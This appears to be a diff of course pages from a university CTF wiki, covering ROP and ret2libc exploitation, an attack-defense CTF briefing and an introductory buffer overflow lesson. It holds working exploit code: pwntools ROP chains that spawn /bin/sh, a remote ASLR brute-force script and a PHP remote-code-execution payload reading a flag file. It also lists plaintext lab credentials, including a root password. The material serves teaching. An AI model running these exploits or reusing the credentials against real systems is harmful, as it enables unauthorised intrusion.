+        0xffff0018: 0x1337beef          // value we want in rsi
+RSP ->  0xffff0010: 0x400c03            // address that the rdi gadget's ret will return to - the pop rsi gadget
+
+

The RDI gadget then rets into our RSI gadget:

+
RIP = 0x400c03 (pop rsi)
+RDI = 0xdeadbeef
+RSI = UNKNOWN
+
+        0xffff0028: 0x400d00            // where we want the rsi gadget's ret to jump to now that rdi and rsi are controlled
+        0xffff0020: 0x1337beef          // value we want in r15 (probably garbage)
+RSP ->  0xffff0018: 0x1337beef          // value we want in rsi
+
+

RSI and R15 are popped:

+
RIP = 0x400c05 (ret)
+RDI = 0xdeadbeef
+RSI = 0x1337beef
+
+RSP ->  0xffff0028: 0x400d00            // where we want the rsi gadget's ret to jump to now that rdi and rsi are controlled
+
+

And finally, the RSI gadget rets, jumping to whatever function we want, but now with RDI and RSI set to values we control.

+

ROP - Syscall execv

+

The objective is to call the syscall (execv) from a ROP controlling the value of registries: RDI, RSI, RDX, RAX and obviously the RIP (the other ones doesn't matters), and controlling somewhere to write "/bin/sh"

+
    +
  • RDI: Pointing to the string "/bin/bash"
  • +
  • RSI: Null
  • +
  • RDX: Null
  • +
  • RAX: Value 0x3b for x64 and 0xb for x32, because this will call execv
  • +
+
ROPgadget --binary vulnbinary | grep syscall
+ROPgadget --binary vulnbinary | grep "rdi\|rsi\|rdx\|rax" | grep pop
+
+

Writing

+

If you can somehow write to an address and then get the address of where you have written then this step is unnecessary.

+

Elsewhere, you may search for some write-what-where. +As is explained in this tutorial: https://failingsilently.wordpress.com/2017/12/14/rop-chain-shell/ you have to find something that allows you to save some value inside a registry and then save it to some controlled address inside another registry. For example some pop eax; ret , pop edx: ret , mov eax, [edx]

+

You can find mov gadgets doing: ROPgadget --binary vulnbinary | grep mov

+

Finding a place to write

+

If you have found some write-what-where and can control the needed registries to call execv, there is only left finding a place to write.

+
objdump -x vulnbinary | grep ".bss" -B1
+                  CONTENTS, ALLOC, LOAD, DATA
+ 23 .bss          00000010  00403418  00403418  00002418  23
+
+

In this case: 0x403418

+

Writing "/bin/sh"

+
buffer += address(pop_eax) # place value into EAX
+buffer += "/bin"           # 4 bytes at a time
+buffer += address(pop_edx)         # place value into edx
+buffer += address(writable_memory)
+buffer += address(writewhatwhere)
+
+buffer += address(pop_eax)
+buffer += "//sh"
+buffer += address(pop_edx)
+buffer += address(writable_memory + 4)
+buffer += address(writewhatwhere)
+
+

ROP - Leaking LIBC address

+

Quick Resume

+
    +
  1. Find overflow offset
  2. +
  3. Find POP_RDI, PUTS_PLT and MAIN_PLT gadgets
  4. +
  5. Find memory address of puts and guess the libc version (donwload it)
  6. +
  7. Given the library just exploit it
  8. +
+

Other tutorials and binaries to practice

+

This tutorial is going to exploit the code/binary proposed in this tutorial: https://tasteofsecurity.com/security/ret2libc-unknown-libc/ +Another useful tutorial: https://made0x78.com/bseries-ret2libc/

+

Code

+

Filename: vuln.c

+
#include <stdio.h>
+
+int main() {
+    char buffer[32];
+    puts("Simple ROP.\n");
+    gets(buffer);
+
+    return 0;
+}
+gcc -o vuln vuln.c -fno-stack-protector  -no-pie
+
+

ROP - PWNtools template

+

Find my ROP-PWNtools template here. I'm going to use the code located there to make the exploit. +Download the exploit and place it in the same directory as the vulnerable binary.

+

1- Finding the offset

+

The template need an offset before continuing with the exploit. If any is provided it will execute the necessary code to find it (by default OFFSET = ""):

+
####################
+#### Find offset ###
+####################
+OFFSET = ""#"A"*72
+if OFFSET == "":
+    gdb.attach(p.pid, "c") #Attach and continue
+    payload = cyclic(1000)
+    print(r.clean())
+    r.sendline(payload)
+    #x/wx $rsp -- Search for bytes that crashed the application
+    #cyclic_find(0x6161616b) # Find the offset of those bytes
+    return
+
+

Execute python template.py a GDB console will be opened with the program being crashed. Inside that GDB console execute x/wx $rsp to get the bytes that were going to overwrite the RIP. Finally get the offset using a python console:

+
from pwn import *
+cyclic_find(0x6161616b)
+
+

img

+

After finding the offset (in this case 40) change the OFFSET variable inside the template using that value. +OFFSET = "A" * 40

+

2- Finding Gadgets

+

Now we need to find ROP gadgets inside the binary. This ROP gadgets will be useful to call putsto find the libc being used, and later to launch the final exploit.

+
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
+MAIN_PLT = elf.symbols['main']
+POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
+RET = (rop.find_gadget(['ret']))[0]
+
+log.info("Main start: " + hex(MAIN_PLT))
+log.info("Puts plt: " + hex(PUTS_PLT))
+log.info("pop rdi; ret  gadget: " + hex(POP_RDI))
+
+

The PUTS_PLT is needed to call the function puts. +The MAIN_PLT is needed to call the main function again after one interaction to exploit the overflow again (infinite rounds of exploitation).It is used at the end of each ROP. +The POP_RDI is needed to pass a parameter to the called function.

+

In this step you don't need to execute anything as everything will be found by pwntools during the execution.

+

3- Finding LIBC library

+

Now is time to find which version of the libc library is being used. To do so we are going to leak the address in memory of the function putsand then we are going to search in which library version the puts version is in that address.

+
def get_addr(func_name):
+    FUNC_GOT = elf.got[func_name]
+    log.info(func_name + " GOT @ " + hex(FUNC_GOT))
+    # Create rop chain
+    rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
+
+    #Send our rop-chain payload
+    #p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
+    print(p.clean()) # clean socket buffer (read all and print)
+    p.sendline(rop1)
+
+    #Parse leaked address
+    recieved = p.recvline().strip()
+    leak = u64(recieved.ljust(8, "\x00"))
+    log.info("Leaked libc address,  "+func_name+": "+ hex(leak))
+    #If not libc yet, stop here
+    if libc != "":
+        libc.address = leak - libc.symbols[func_name] #Save libc base
+        log.info("libc base @ %s" % hex(libc.address))
+
+    return hex(leak)
+
+get_addr("puts") #Search for puts address in memmory to obtains libc base
+if libc == "":
+    print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
+    p.interactive()
+
+

To do so, the most important line of the executed code is:

+
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
+
+

This will send some bytes util overwriting the RIP is possible: OFFSET. +Then, it will set the address of the gadget POP_RDI so the next address (FUNC_GOT) will be saved in the RDI registry. This is because we want to call puts passing it the address of the PUTS_GOTas the address in memory of puts function is saved in the address pointing by PUTS_GOT. +After that, PUTS_PLT will be called (with PUTS_GOT inside the RDI) so puts will read the content inside PUTS_GOT (the address of puts function in memory) and will print it out. +Finally, main function is called again so we can exploit the overflow again.

+

This way we have tricked puts function to print out the address in memory of the function puts (which is inside libc library). Now that we have that address we can search which libc version is being used.

+

img

+

As we are exploiting some local binary it is not needed to figure out which version of libc is being used (just find the library in /lib/x86_64-linux-gnu/libc.so.6). +But, in a remote exploit case I will explain here how can you find it:

+

3.1- Searching for libc version (1)

+

You can search which library is being used in the web page: https://libc.blukat.me/ +It will also allow you to download the discovered version of libc

+

img

+

3.2- Searching for libc version (2)

+

You can also do:

+
    +
  • $ git clone https://github.com/niklasb/libc-database.git
  • +
  • $ cd libc-database
  • +
  • $ ./get
  • +
+

This will take some time, be patient. +For this to work we need:

+
    +
  • Libc symbol name: puts
  • +
  • Leaked libc adddress: 0x7ff629878690
  • +
+

We can figure out which libc that is most likely used.

+
./find puts 0x7ff629878690
+ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
+archive-glibc (id libc6_2.23-0ubuntu11_amd64)
+
+

We get 2 matches (you should try the second one if the first one is not working). Download the first one:

+
./download libc6_2.23-0ubuntu10_amd64
+Getting libc6_2.23-0ubuntu10_amd64
+  -> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
+  -> Downloading package
+  -> Extracting package
+  -> Package saved to libs/libc6_2.23-0ubuntu10_amd64
+
+

Copy the libc from libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so to our working directory.

+

3.3- Other functions to leak

+
puts
+printf
+__libc_start_main
+read
+gets
+
+

4- Finding based libc address & exploiting

+

At this point we should know the libc library used. As we are exploiting a local binary I will use just:/lib/x86_64-linux-gnu/libc.so.6

+

So, at the begging of template.py change the libc variable to: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it

+

Giving the path to the libc library the rest of the exploit is going to be automatically calculated.

+

Inside the get_addrfunction the base address of libc is going to be calculated:

+
if libc != "":
+    libc.address = leak - libc.symbols[func_name] #Save libc base
+    log.info("libc base @ %s" % hex(libc.address))
+
+

Then, the address to the function system and the address to the string "/bin/sh" are going to be calculated from the base address of libc and given the libc library.

+
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
+SYSTEM = libc.sym["system"]
+EXIT = libc.sym["exit"]
+
+log.info("bin/sh %s " % hex(BINSH))
+log.info("system %s " % hex(SYSTEM))
+
+

Finally, the /bin/sh execution exploit is going to be prepared sent:

+
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
+
+p.clean()
+p.sendline(rop2)
+
+##### Interact with the shell #####
+p.interactive() #Interact with the conenction
+
+

Let's explain this final ROP. +The last ROP (rop1) ended calling again the main function, then we can exploit again the overflow (that's why the OFFSET is here again). Then, we want to call POP_RDI pointing to the addres of "/bin/sh" (BINSH) and call system function (SYSTEM) because the address of "/bin/sh" will be passed as a parameter. +Finally, the address of exit function is called so the process exists nicely and any alert is generated.

+

This way the exploit will execute a /bin/sh shell.

+

img

+

4(2)- Using ONE_GADGET

+

You could also use ONE_GADGET to obtain a shell instead of using system and "/bin/sh". ONE_GADGET will find inside the libc library some way to obtain a shell using just one ROP. +However, normally there are some constrains, the most common ones and easy to avoid are like [rsp+0x30] == NULL As you control the values inside the RSP you just have to send some more NULL values so the constrain is avoided.

+
ONE_GADGET = libc.address + 0x4526a
+rop2 = base + p64(ONE_GADGET) + "\x00"*100
+
+

EXPLOIT FILE

+

You can find a template to exploit this vulnerability here:

+

ROP-PWN template

+

Common problems

+

MAIN_PLT = elf.symbols['main'] not found

+

If the "main" symbol does not exist. Then you can just where is the main code:

+
objdump -d vuln_binary | grep "\.text"
+Disassembly of section .text:
+0000000000401080 <.text>:
+
+

and set the address manually:

+
MAIN_PLT = 0x401080
+
+

Puts not found

+

If the binary is not using Puts you should check if it is using

+

sh: 1: %s%s%s%s%s%s%s%s: not found

+

If you find this error after creating all the exploit: sh: 1: %s%s%s%s%s%s%s%s: not found

+

Try to subtract 64 bytes to the address of "/bin/sh":

+
BINSH = next(libc.search("/bin/sh")) - 64
+
+

Ret2Lib

+

If you have found a vulnerable binary and you think that you can exploit it using Ret2Lib here you can find some basic steps that you can follow.

+

If you are inside the host

+

You can find the address of libc

+
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
+
+

If you want to check if the ASLR is changing the address of libc you can do:

+
for i in `seq 0 20`; do ldd <Ejecutable> | grep libc; done
+
+

Get offset of system function

+
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
+
+

Get offset of "/bin/sh"

+
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
+
+

/proc/\/maps

+

If the process is creating children every time you talk with it (network server) try to read that file (probably you will need to be root).

+

Here you can find exactly where is the libc loaded inside the process and where is going to be loaded for every children of the process.

+

img

+

In this case it is loaded in 0xb75dc000 (This will be the base address of libc)

+

Using gdb-peda

+

Get address of system function, of exit function and of the string "/bin/sh" using gdb-peda:

+
p system
+p exit
+find "/bin/sh"
+
+

Bypassing ASLR

+

You can try to bruteforce the abse address of libc.

+
for off in range(0xb7000000, 0xb8000000, 0x1000):
+
+

Code

+
from pwn import *
+
+c = remote('192.168.85.181',20002)
+c.recvline()    #Banner
+
+for off in range(0xb7000000, 0xb8000000, 0x1000):
+    p = ""
+    p += p32(off + 0x0003cb20) #system
+    p += "CCCC" #GARBAGE
+    p += p32(off + 0x001388da) #/bin/sh
+    payload = 'A'*0x20010 + p
+    c.send(payload)
+    c.interactive() #?
+
+

Exercise

+

(5 pt) ret2win

+

Challenge is from https://ropemporium.com/challenge/ret2win.html

+

If you are interested in the ROP exploit, please take a look at ROP Emporium.

+

Locate a method that you want to call within the binary. Call it by overwriting a saved return address on the stack.

+

nc 103.102.44.218 10001

+

Download binary x86_64 ELF: https://ropemporium.com/binary/ret2win.zip

+

Hint: check the LET'S DO THIS part of original challenge.

+

(5 pt) AWD prepare

+

We know that we are going to have a AWD CTF next week. Make sure you have access to the test AWD environment. Check the demo challenge and try to hack it to get a flag.

+

Browser the page http://103.102.44.218:23333/ in your browser, login with some test account below:

+
Account:TEST1 Password:YpkyiQDwGHLjoOk3
+Account:TEST2 Password:pQXBpiFPlNBB6TUt
+Account:TEST3 Password:cUMvgNGCb64E4uLv
+Account:TEST4 Password:RQGqtTfK6601c7qY
+Account:TEST5 Password:SVtm4Pd3vtAaeQvZ
+Account:TEST6 Password:lNTrEnx586taV8Ow
+Account:TEST7 Password:wXxFkOsGcpb1XsIo
+Account:TEST8 Password:AhcNEZpaBWAm3Jst
+Account:TEST9 Password:lxqzbu9tjkshQ0oB
+Account:TEST10 Password:bRewQknqeY3yrZCc
+
+

The flag file is located in /var/flag/flag.txt. The application files are under /app. You have the permission to read and modify the application files.

+

During the AWD CTF, you can only access ctf user. Here's the account information:

+
IP address: 103.102.44.218
+Service port: 20000-20009
+SSH port: 30000-30009
+Username: ctf
+Password: 123456
+
+

Further, only for testing, you have the root password:

+
Username: root
+Password: rootpassword
+
+

Please DO NOT change the password of the users during testing.

+

In this challenge, you should post those screenshots in your writeup:

+
    +
  1. The screenshot of the port 2000x: make sure the PHP code is shown.
  2. +
+

​ In the browser: http://103.102.44.218:2000x/

+
    +
  1. The screenshot of the successful login to port 3000x: make sure you can access the server from user ctf.
  2. +
+

​ In the terminal: ssh ctf@103.102.44.218 -p 3000x

+
    +
  1. The screenshot of the flag.txt content.
  2. +
+

​ In the ssh session: cat /var/flag/flag.txt

+

Hope you enjoy the AWD.

+
Q&As:
+
+Q: How to modify the file on the server?
+A: Use scp command to transfer files through network. Download the file to you local machine and modify, after that then push the file to the server.
+For example:
+scp -P 30000 ctf@103.102.44.218:/app/index.php ./
+<modify>
+scp -P 30000 ./index.php ctf@103.102.44.218:/app/index.php
+
+Q: Can I install software on the server (vim for example)?
+A: You can't install software through apt. But if you have other methods, they're allowed.
+
+Q: Can I delete flag.txt after I read it?
+A: You can't. Only root can modify flag.txt.
+
+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/CS315/2021/Week 14/index.html b/CS315/2021/Week 14/index.html new file mode 100644 index 000000000..acbc4c534 --- /dev/null +++ b/CS315/2021/Week 14/index.html @@ -0,0 +1,8439 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Week14 CTF: Attack-Defense CTF - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + Skip to content + + +
+
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Week14 CTF: Attack-Defense CTF

+

An Attack/Defense Capture the Flag is a type of cybersecurity competition where competing teams attempt to find security vulnerabilities in services run by the opposing teams. Each team works finding vulnerabilities in other team’s services while protecting their own, hence “attack/defense”.

+

img

+

(image from CTF.zone)

+

All teams are given an image to host on servers, usually a Linux distribution with code for several services that the game creators made. For example, in this year’s saarCTF, there were some simple websites for food reviews and calendar events hosted on a linux server. All teams get the same images, so if you find a vulnerability in your server, you can use it to attack other teams’.

+

When the competition starts, you gain access to the servers and can start reading the code and looking for vulnerabilities. The game admins will use your service (programmatically) as normal users and place “flags” for other teams to steal if they find vulnerabilities. For example, they might create private events in the calendar app mentioned earlier, and the flags would be in the details of the event.

+

Vulnerabilities are generally intentionally placed, though sometimes game creators make mistakes and there are extra unintentional attack paths. Competitions tend to have a range of easy to more complicated exploits.

+

A simple exploit might be finding that the view_calendar_event function takes in a uid from the request, and doesn’t validate that this is the same user as the logged in user. A more complicated exploit could involve a buffer overflow leading to a remote code execution. There’s also been exploits using less traditional methods, like adversarial machine learning: fausecteam/faustctf-2018-jodlgang.

+

After finding a vulnerability, the next step is to build a script to exploit it on other teams’ servers and patch the issue on your own server. Points are determined based on how many opposing teams you’re able to steal flags from and how many flags you successfully prevent other teams from stealing.

+

Rules

+

Competition start time: 2021-12-13 21:00

+

Competition end time: 2021-12-16 21:00

+

Time per round: 5 minutes (864 rounds in total)

+

Score per round: 50

+

Challenges:

+
    +
  • Sanity_check (web)
  • +
  • Calculator (web)
  • +
  • Binary (pwn)
  • +
  • Image manipulator (web)
  • +
  • Blog (web)
  • +
+

Base score per challenge: 1000

+

Total teams: 50

+

Flag location: /var/flag.txt

+

SSH user: ctf

+

SSH default password: 123456

+

Challenges

+

The AWD CTF has 5 challenges in total. Involving 4 web and 1 pwn.

+

Sanity_check

+

This challenge is simple PHP script:

+

1

+

The script requires one parameter called str, and gives out the length of the string.

+

For example, a valid request might be:

+
http://ip:port/?str=some_example_string
+
+

The page would response the following text:

+
some_example_string length is 19
+
+

Calculator

+

The website is written in PHP.

+

The calculator has only 1 function: to calculate the input equation of user.

+

2

+

An example input of 2*3 would result in 6.

+

Binary

+

This challenge doesn't offer any source code.

+

However, you can modify the binary ELF file with any hex editor or de-compiler.

+

First of all, we are given 5 choices:

+
1.register
+2.login
+3.reset passwd
+4.play game
+5.logout
+Your choice:
+
+

We need to register and then login. After that, we can play this game.

+

By choosing 4, the game begins:

+
1.name your city
+2.rename your city
+3.manage your shop
+4.manage your army
+5.show your city
+6.battle
+7.back
+Your choice:
+
+

We can name cities, manage shops, and manage army. After everything is done, we would like to battle.

+

However, the game is too difficult. Most of the time, we only have the bad ending.

+

Image manipulator

+

This web app allows us to manipulate the images.

+

3

+

We can upload a file and modify those information:

+
1. width and height
+2. crop the image
+3. rotate the image
+4. flip
+5. mirror
+6. grayscale
+7. sepia
+
+

Let's take a look at the source code.

+

In the /usr/bin/gs file is the ghostscript. Ghostscript is an interpreter for PostScript Portable Document Format (PDF) files.

+
app
+├── App.php
+├── Driver
+│   ├── Base.php
+│   ├── Convert.php
+│   ├── Image.php
+│   └── index.html
+├── Template
+│   ├── index.html
+│   └── main.html
+├── assets
+│   ├── index.html
+│   └── main.css
+├── inc.php
+└── index.php
+
+

Under the app folder is the main structure of the website. The website is written by PHP. An index.php hooks all the files to work together.

+

inc.php: defines some folder location.

+

App.php: main logic of the website. Sends all requests to target file.

+

assets: static pages.

+

Template: static web html style.

+

Driver: you should look at files under this folder and find out the vulnerabilities.

+

Blog

+

Blog is a fully functional blog website with all pages you need.

+

The website contains a database of MySQL on 3306. And based on the zblog template.

+

Blog has a CMS and you should check out the installation first.

+

4

+

Let's look at the source code.

+
src
+├── feed.php
+├── index.php
+├── search.php
+├── zb_install
+├── zb_system
+└── zb_users
+
+

There are 3 major folders under the source code.

+

Firstly, zb_install takes all the installation options and instructions to setup a website.

+

ab_system is the main function of the website admin panel.

+

zb_users takes all user functions.

+

Notification

+
    +
  1. The AWD platform is using HTTP, which means it's possible to analyze network traffic of others.
  2. +
  3. No root privilege.
  4. +
  5. Using of 0day is valid.
  6. +
  7. DDoS or other brute DoS are NOT valid.
  8. +
  9. Never share flag with others.
  10. +
+

Prepare

+

Before the AWD CTF, you should check the following list:

+
    +
  • Change the default password for each game box.
  • +
  • Check all the services are running well.
  • +
  • Scan the ports of other players.
  • +
  • Read the source code and patch the vulnerabilities.
  • +
  • Adjust your script to submit flag.
  • +
+

Flag Submitter

+
curl -X POST http://www.compass.college/api/flag -H "Authorization: <token>" -d "{ \"flag\": \"your_flag_here\" }"
+
+

GitHub repo of an example flag submitter:

+

https://github.com/0xaww/awd-submit-flag

+

img

+

Exploit Script

+

Using manual exploit is not efficient. By using automate script to exploit and submit the flag.

+

An example exploit script of a SSTI vulnerability looks like:

+
import requests
+url = ""
+data = {
+    "method": "__construct",
+    "filter[]": "assert",
+    "method": "get",
+    "get[]": "die((new ReflectionFunction('syste'.'m'))->invoke('cat /var/flag.txt'))",
+}
+print(requests.post(url, data=data).text)
+
+

The script can be configured to run every 5 minutes or using flag submitter to hook the exploit script.

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/CS315/2021/Week 2/index.html b/CS315/2021/Week 2/index.html new file mode 100644 index 000000000..0b1257ac9 --- /dev/null +++ b/CS315/2021/Week 2/index.html @@ -0,0 +1,8869 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Week 2 PWN: Basic Buffer Overflow - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + Skip to content + + +
+
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + + + + + +
+
+ + + + + + + +

Week 2 PWN: Basic Buffer Overflow

+

According to the @CTF101: https://ctf101.org/

+

Binary Exploitation

+

Binaries, or executables, are machine code for a computer to execute. For the most part, the binaries that you will face in CTFs are Linux ELF files or the occasional windows executable. Binary Exploitation is a broad topic within Cyber Security which really comes down to finding a vulnerability in the program and exploiting it to gain control of a shell or modifying the program's functions.

+

Common topics addressed by Binary Exploitation or 'pwn' challenges include:

+
    +
  • Registers
  • +
  • The Stack
  • +
  • Calling Conventions
  • +
  • Global Offset Table (GOT)
  • +
  • Buffers
  • +
  • Buffer Overflow
  • +
  • Return Oriented Programming (ROP)
  • +
  • Binary Security
  • +
  • No eXecute (NX)
  • +
  • Address Space Layout Randomization (ASLR)
  • +
  • Stack Canaries
  • +
  • Relocation Read-Only (RELRO)
  • +
  • The Heap
  • +
  • Heap Exploitation
  • +
  • Format String Vulnerability
  • +
+

Buffers

+

A buffer is any allocated space in memory where data (often user input) can be stored. For example, in the following C program name would be considered a stack buffer:

+
#include <stdio.h>
+
+int main() {
+    char name[64] = {0};
+    read(0, name, 63);
+    printf("Hello %s", name);
+    return 0;
+}
+
+

Buffers could also be global variables:

+
#include <stdio.h>
+
+char name[64] = {0};
+
+int main() {
+    read(0, name, 63);
+    printf("Hello %s", name);
+    return 0;
+}
+
+

Or dynamically allocated on the heap:

+
#include <stdio.h>
+#include <stdlib.h>
+
+int main() {
+    char *name = malloc(64);
+    memset(name, 0, 64);
+    read(0, name, 63);
+    printf("Hello %s", name);
+    return 0;
+}
+
+

Exploits

+

Given that buffers commonly hold user input, mistakes when writing to them could result in attacker controlled data being written outside of the buffer's space.

+

Introduction to Stack

+

A stack is an abstract data type frequently used in computer science. It has a property that the Last item placed will be the first to be removed from it ( LIFO ) . Several options are defined on the stack , the most important ones are push and pop . push add an element to the top of the stack , and pop removes elements from the top .

+
    /* The address of memory which is pointed by the Stack Pointer ( sp ) is the top of the stack */
+
+    ┌──────────────┐ <─ sp
+    └──────────────┘
+
+    : push 0x10                               /* sp is incremented and the value is stored at that address */
+    ┌──────────────┐ 
+    │     0x10     │
+    └──────────────┘ <─ sp
+
+    : push 0x20
+
+    ┌──────────────┐
+    │    0x10      │
+    ├──────────────┤
+    │    0x20      │
+    └──────────────┘ <─ sp
+
+    : pop var                                 /* The value pointed by the sp is removed from the stack and sp is decremented */
+
+    ┌──────────────┐ 
+    │     0x10     │
+    └──────────────┘ <─ sp
+
+

Modern computers are designed with the need of high-level languages in mind. The most important technique for structuring programs introduced by high-level languages is the function. From one point of view, a function call alters the flow of control just as a jump does, but unlike a jump, when finished performing its task, a function returns control to the statement or instruction following the call. This high-level abstraction is implemented with the help of the stack.

+

The stack is also used to allocate local variables , to pass parameters to the functions, and to store the information needed to return to caller function after the execution of the function gets over.

+

The stack pointer is a special register which will always point to the top of the stack , in x86-32 bit this register is called esp .The area allocated on the stack for a function is called it's stack frame . and the registers ebp and esp (in x86-32 bit system )are used to specify the boundaries of the stack frame . The ebp will point to the staring of the stack frame of the current function and the esp register will point to the bottom.

+

Buffer Overflow

+

A Buffer Overflow is a vulnerability in which data can be written which exceeds the allocated space, allowing an attacker to overwrite other data.

+

Stack buffer overflow

+

The simplest and most common buffer overflow is one where the buffer is on the stack. Let's look at an example.

+
#include <stdio.h>
+
+int main() {
+    int secret = 0xdeadbeef;
+    char name[100] = {0};
+    read(0, name, 0x100);
+    if (secret == 0x1337) {
+        puts("Wow! Here's a secret.");
+    } else {
+        puts("I guess you're not cool enough to see my secret");
+    }
+}
+
+

There's a tiny mistake in this program which will allow us to see the secret. name is decimal 100 bytes, however we're reading in hex 100 bytes (=256 decimal bytes)! Let's see how we can use this to our advantage.

+

If the compiler chose to layout the stack like this:

+
        0xffff006c: 0xf7f7f7f7  // Saved EIP
+        0xffff0068: 0xffff0100  // Saved EBP
+        0xffff0064: 0xdeadbeef  // secret
+...
+        0xffff0004: 0x0
+ESP ->  0xffff0000: 0x0         // name
+
+

let's look at what happens when we read in 0x100 bytes of 'A's.

+

The first decimal 100 bytes are saved properly:

+
        0xffff006c: 0xf7f7f7f7  // Saved EIP
+        0xffff0068: 0xffff0100  // Saved EBP
+        0xffff0064: 0xdeadbeef  // secret
+...
+        0xffff0004: 0x41414141
+ESP ->  0xffff0000: 0x41414141  // name
+
+

However when the 101st byte is read in, we see an issue:

+
        0xffff006c: 0xf7f7f7f7  // Saved EIP
+        0xffff0068: 0xffff0100  // Saved EBP
+        0xffff0064: 0xdeadbe41  // secret
+...
+        0xffff0004: 0x41414141
+ESP ->  0xffff0000: 0x41414141  // name
+
+

The least significant byte of secret has been overwritten! If we follow the next 3 bytes to be read in, we'll see the entirety of secret is "clobbered" with our 'A's

+
        0xffff006c: 0xf7f7f7f7  // Saved EIP
+        0xffff0068: 0xffff0100  // Saved EBP
+        0xffff0064: 0x41414141  // secret
+...
+        0xffff0004: 0x41414141
+ESP ->  0xffff0000: 0x41414141  // name
+
+

The remaining 152 bytes would continue clobbering values up the stack.

+

Passing an impossible check

+

How can we use this to pass the seemingly impossible check in the original program? Well, if we carefully line up our input so that the bytes that overwrite secret happen to be the bytes that represent 0x1337 in little-endian, we'll see the secret message.

+

A small Python one-liner will work nicely: python -c "print 'A'*100 + '\x31\x13\x00\x00'"

+

This will fill the name buffer with 100 'A's, then overwrite secret with the 32-bit little-endian encoding of 0x1337.

+

Going one step further

+

As discussed on the stack page, the instruction that the current function should jump to when it is done is also saved on the stack (denoted as "Saved EIP" in the above stack diagrams). If we can overwrite this, we can control where the program jumps after main finishes running, giving us the ability to control what the program does entirely.

+

Usually, the end objective in binary exploitation is to get a shell (often called "popping a shell") on the remote computer. The shell provides us with an easy way to run anything we want on the target computer.

+

Say there happens to be a nice function that does this defined somewhere else in the program that we normally can't get to:

+
void give_shell() {
+    system("/bin/sh");
+}
+
+

Well with our buffer overflow knowledge, now we can! All we have to do is overwrite the saved EIP on the stack to the address where give_shell is. Then, when main returns, it will pop that address off of the stack and jump to it, running give_shell, and giving us our shell.

+

Assuming give_shell is at 0x08048fd0, we could use something like this: python -c "print 'A'*108 + '\xd0\x8f\x04\x08'"

+

We send 108 'A's to overwrite the 100 bytes that is allocated for name, the 4 bytes for secret, and the 4 bytes for the saved EBP. Then we simply send the little-endian form of give_shell's address, and we would get a shell!

+

This idea is extended on in Return Oriented Programming.

+

Overwrite values on stack

+

For example, we are given the following code in C language:

+
#include <stdlib.h>
+#include <unistd.h>
+#include <stdio.h>
+#include <string.h>
+
+int main(int argc, char **argv)
+{
+ volatile int modified;
+ char buffer[64];
+
+ if(argc == 1) {
+  errx(1, "please specify an argument\n");
+ }
+
+ modified = 0;
+ strcpy(buffer, argv[1]);
+
+ if(modified == 0x61626364) {
+  printf("you have correctly got the variable to the right value\n");
+ } else {
+  printf("Try again, you got 0x%08x\n", modified);
+ }
+}
+
+

Breakdown

+

So this code :

+

creates a variable called “modified” and assigns a buffer of 64 chars to it.

+
volatile int modified; 
+char buffer[64];
+
+

Checks if we supplied an argument or not.

+
if(argc == 1) {
+ errx(1, "please specify an argument\n");
+}
+
+

Sets the value of the “modified” variable into 0 , then it copies whatever we give it argv[1] into the buffer of “modified”.

+
modified = 0;
+strcpy(buffer, argv[1]);
+
+

Then it checks if the variable’s value is 0x61626364 or not

+
if(modified == 0x61626364) {
+  printf("you have correctly got the variable to the right value\n");
+ } else {
+  printf("Try again, you got 0x%08x\n", modified);
+ }
+
+

Solution

+

So it’s similar to Stack0 except we need to set the value of the variable into a specific value which is 0x61626364 in this case. This is the hexadecimal value of “dcba” now keep in mind that when reading hex you read it from right to left not left to right. To slove this our input will be 64 chars then after that the value , let’s try it.

+

Let’s execute stack1

+

img

+

We get please specify an argument so let’s enter anything.

+

img

+

img

+

We get try again you got 0x00000000 , Let’s try to change that by exceeding the buffer and entering any char for example “b”

+
./stack1 `python -c "print ('A' * 64 + 'b')"`
+
+

img

+

And we see that the value changed to 0x00000062 which is the hex value of “b” so our exploit is working, Let’s apply that.

+
./stack1 `python -c "print ('A' * 64 + 'dcba')"`
+
+

img

+

And we did it !

+

But can we do it in another way ? instead of entering ASCII we can use the hex values and python will translate them.

+
./stack1 `python -c "print('A' * 64 + '\x64\x63\x62\x61')"`
+
+

img

+

Shellcode

+

In real exploits, it's not particularly likely that you will have a win() function lying around - shellcode is a way to run your own instructions, giving you the ability to run arbitrary commands on the system.

+

Shellcode is essentially assembly instructions, except we input them into the binary; once we input it, we overwrite the return pointer to hijack code execution and point at our own instructions!

+

